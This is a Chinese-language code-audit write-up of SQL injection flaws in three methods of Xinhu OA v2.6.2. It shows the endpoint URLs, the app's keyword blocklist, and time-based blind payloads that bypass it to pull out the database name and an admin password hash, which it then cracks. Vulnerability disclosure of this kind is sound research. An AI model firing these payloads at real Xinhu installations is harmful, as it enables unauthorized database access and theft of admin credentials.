信呼OA_V2.6.2_SQL注入漏洞
|
admin
2025年5月28日 19:18
本文熱度 217
|
代碼審計(jì)
漏洞點(diǎn)出在 /webmain/flow/input/mode_gongAction.php
下的 submittoupiaoAjax 方法
可以發(fā)現(xiàn)它對傳入?yún)?shù)沒有進(jìn)行任何的過濾便拼接執(zhí)行 SQL 注入
(PS:雖然 get 和 post 請求進(jìn)行了全局過濾,但過濾不嚴(yán)可以繞過) url:http://localhost/index.php? a=submittoupiao&m=mode_gong|input&d=flow&ajaxbool=true&mid=3&sid=1&modenum=1
通過跟蹤 SQL 執(zhí)行,可以看到實(shí)際上執(zhí)行的是以下 sql 語句 update `xinhu_infors` set `touci`=`touci`+1 where `mid`=3 and `id` in(1)
其中 $mid 和 $sid 我們都可以進(jìn)行注入,此處我選擇 $mid 進(jìn)行注入
不過它 get 和 post 傳參過濾了很多參數(shù)(已經(jīng)喪心病狂到影響內(nèi)容的程度了...) select,alter,delete,drop,update,,insert,from,time_so_sec,convert,from_unixt ime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_con cat,length,load_file,outfile,database,system_user,current_user,user(),found_rows ,declare,master,exec,(),select*from,select
但黑名單總是不如白名單的,所以簡單 bypass 下得出以下 poc 3||if(ascii(substr((select(database())),1,1))=114,benchmark(666666666,1),0)#
嘗試注出當(dāng)前數(shù)據(jù)庫名 3||if(ascii(substr((select(database())),1,1))=114,benchmark(666666666,1),0)#
3||if(ascii(substr((select(database())),2,1))=110,benchmark(666666666,1),0)#
3||if(ascii(substr((select(database())),2,1))=111,benchmark(666666666,1),0)#
第二個(gè)字符為 o
最后注入出當(dāng)前數(shù)據(jù)庫為 rockxinhu
除此之外,使用以下 poc 還可以注出管理員密碼: /index.php? a=submittoupiao&m=mode_gong|input&d=flow&ajaxbool=true&mid=0||IF(ASCII(SUBSTR((S ELECT(pass)FROM(`xinhu_admin`)WHERE(id=1)),1,1))=98,BENCHMARK(666666666,1),0) id=1&modenum=1
漏洞點(diǎn)出在 /webmain/flow/input/mode_knowtraimAction.php
下的 biaoshiAjax 方法
可以發(fā)現(xiàn)它對傳入?yún)?shù)沒有進(jìn)行任何的過濾便拼接執(zhí)行 SQL 注入 url: http: update `xinhu_knowtrais` set `kssdt`=null,`ksedt`=null,`fenshu`='0',`kstime`='0',`isks`='0',`tkids`=null,`dyi ds`=null,`dyjgs`=null where `id` in(1) and `mid` in(select `id` from `[Q]knowtraim` where `state`<>
通過跟蹤 SQL 執(zhí)行,可以看到實(shí)際上執(zhí)行的是以下 sql 語句
其中 $fid 我們可以進(jìn)行注入 select,alter,delete,drop,update,,insert,from,time_so_sec,convert,from_unixt ime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_con cat,length,load_file,outfile,database,system_user,current_user,user(),found_rows ,declare,master,exec,(),select*from,select*
bypass 下得出以下 poc 1)&&IF(1=1,BENCHMARK(666666666,1),0)#
嘗試注出管理員密碼 1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),1,1))=98,BENCHM ARK(666666666,1),0)#
得到第一個(gè)字符為 'b 1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),2,1))=98,BENCHM ARK(666666666,1),0)#
1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),2,1))=49,BENCHM ARK(666666666,1),0)#
得到第二個(gè)字符為 '1
最后得到管理員的密碼為:b13d93cd920d4155634eae0cc2e71c78
解密后是:Aa635241
代碼審計(jì)
漏洞點(diǎn)出在 /webmain/flow/input/mode_userAction.php
下的 editsuperAjax 方法
可以發(fā)現(xiàn)它對傳入?yún)?shù)沒有進(jìn)行任何的過濾便拼接執(zhí)行 SQL 注入
url: http://localhost/index.php?d=flow&m=mode_user|input&a=editsuper&ajaxbool=true
通過跟蹤 SQL 執(zhí)行,可以看到實(shí)際上執(zhí)行的是以下 sql 語句 update `xinhu_admin` set `superid`='1',`superman`='1' where `id` in(1) and id not in(1)
其中 $sid 和 $xid 我們都可以進(jìn)行注入,此處我選擇 $xid 進(jìn)行注入
不過它 get 和 post 傳參過濾了很多參數(shù)(已經(jīng)喪心病狂到影響內(nèi)容的程度了...) select,alter,delete,drop,update,,insert,from,time_so_sec,convert,from_unixt ime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_con cat,length,load_file,outfile,database,system_user,current_user,user(),found_rows ,declare,master,exec,(),select*from,select*
但黑名單總是不如白名單的,所以簡單 bypass 下得出以下 poc 1)&&IF(1=1,BENCHMARK(666666666,1),0)#
嘗試注出當(dāng)前數(shù)據(jù)庫 1)&&IF(ASCII(SUBSTR(DATABASE(),1,1))=114,BENCHMARK(666666666,1),0)#
得到第一個(gè)字符為 'r' 1)&&IF(ASCII(SUBSTR(DATABASE(),2,1))=114,BENCHMARK(666666666,1),0)#
1)&&IF(ASCII(SUBSTR(DATABASE(),2,1))=111,BENCHMARK(666666666,1),0)#
得到第二個(gè)字符為 'o
最后得到當(dāng)前數(shù)據(jù)庫為:rockxinhu
?
閱讀原文:https://mp.weixin.qq.com/s/DTLPhx7tuKgsu3i_Cz6GYw
該文章在 2025/5/29 11:40:29 編輯過
|
|